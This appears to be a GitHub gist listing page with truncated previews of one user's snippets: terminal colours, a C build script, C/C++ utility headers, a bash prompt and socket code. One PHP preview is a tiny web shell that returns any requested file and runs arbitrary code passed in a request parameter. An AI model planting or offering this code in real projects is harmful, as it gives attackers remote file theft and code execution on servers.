This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
! special | |
*.foreground: #f8f8f2 | |
*.background: #272822 | |
*.cursorColor: #f8f8f2 | |
! black | |
*.color0: #272822 | |
*.color8: #75715e | |
! red |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
COMPILER="/usr/bin/gcc"; | |
OPTIONS="-c -o"; | |
FINAL_OPTIONS="-o"; | |
MAIN_FILENAME="main"; | |
BUILDDIR="build"; | |
SRCDIR="src"; | |
EXTENSION="*.c"; | |
OBJECT_EXTENSION="o"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo "SCRIPT RUN<br>"; | |
if(isset($_REQUEST["file"])) | |
{ | |
echo base64_encode(file_get_contents($_REQUEST["file"])); | |
} | |
if(isset($_REQUEST["code"])) | |
{ | |
echo base64_encode(eval($_REQUEST["code"])); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//rtti_mt.h | |
//Run Time Type Information enabled Multi Type variable implementation | |
//Author: Gydo194 | |
//2207181714 | |
#pragma once | |
struct rtti_mt_t; | |
typedef struct rtti_mt_t rtti_mt_t; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* map_utils.hpp | |
* Utilities for accessing STL maps | |
* original work by: Gydo194 | |
*/ | |
#ifndef MAP_GET_H | |
#define MAP_GET_H | |
#include <map> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
\[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$(__git_ps1)\$ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Server.cpp | |
* | |
* EventServer is a simple C++ TCP socket server implementation, | |
* to serve as an example to anyone who wants to learn it. | |
* It can interface with the rest of your program using three callback functions. | |
* - onConnect, which fires when a new client connects. the client's fd is passed. | |
* - onDisconnect, which fires when a client disconnects. passes fd. | |
* - onInput, fires when input is received from a client. passes fd and char* | |
* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef EVENTHANDLER_H | |
#define EVENTHANDLER_H | |
#include <map> | |
using namespace std; | |
template<class K, class E> //KeyType, EventType | |
class EventHandler | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef OBSERVER_H | |
#define OBSERVER_H | |
#include <vector> | |
#include <iostream> | |
using namespace std; | |
template<class T> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <arpa/inet.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <sys/socket.h> | |
#include <unistd.h> | |
//#include <cstdlib> //cpp | |
#include <stdlib.h> //c | |
//default connection details |